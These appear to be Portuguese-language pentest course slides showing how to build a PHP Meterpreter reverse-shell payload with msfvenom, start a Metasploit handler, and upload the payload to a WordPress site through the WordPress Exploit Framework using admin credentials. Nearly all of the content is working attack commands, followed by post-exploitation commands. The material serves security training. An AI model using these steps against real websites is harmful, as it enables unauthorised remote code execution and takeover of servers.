Pentest com Kali Linux

Instrutor:Vitor Mazuco

http://facebook.com/vitormazuco

Email:vitor.mazuco@gmail.com

WebSite:http://vmzsolutions.com.br

Payload customizada com o Meterpreter

Nessa aula, vamos usar o Meterpreter juntamente com o WordPress Exploit Framework. Primeira coisa que precisamos é ter qualquer nome de usuário e senha do WordPress. E ter 2 terminais do Kali abertos para ter o ataque sincronizado.

Payload customizada com o Meterpreter

Primeira coisa é criamos um arquivo infectado em PHP para tentar fazer o upload no WordPress.

```
# msfvenom -p php/meterpreter/reverse_tcp
LHOST=192.168.1.189 -o meterpreter.php
```

Isso irá gerar e salvar o payload em um arquivo chamado meterpreter.php no diretório atual.

Payload customizada com o Meterpreter

O Metasploit contém um módulo que nos permitirá apenas acionar um manipulador sem executar um exploit contra qualquer alvo em particular. Inicie com esses comandos:

```
# msfconsole

msf > use exploit/multi/handler

msf exploit(handler) > set PAYLOAD php/meterpreter/reverse_tcp

msf exploit(handler) > set LHOST 192.168.1.189

msf exploit(handler) > exploit
```

Payload customizada com o Meterpreter

Deixe essa tela aberta e abra um outo terminal e entre dentro do diretório do WordPress Exploit Framework e execute esses comandos(configurações diferentes poderão ser necessários):

```
# ruby wpxf.rb

wpxf > use exploit/admin_shell_upload

wpxf > set host 192.168.1.150

wpxf > set target_uri /
```

E coloque a senha e execute o wpxf

wpxf > use exploit/admin_shell_upload

wpxf > set host 192.168.1.150

wpxf > set username admin

wpxf > set password 123456

wpxf > set payload custom

wpxf > set payload_path /root/meterpreter.php

wpxf > run

Payload customizada com o Meterpreter

Após executar veja se foi estabelecido o meterpreter no outro terminal.

Payload customizada com o Meterpreter

Agora, você pode executar alguns comandos como:

meterpreter > sysinfo

meterpreter > getuid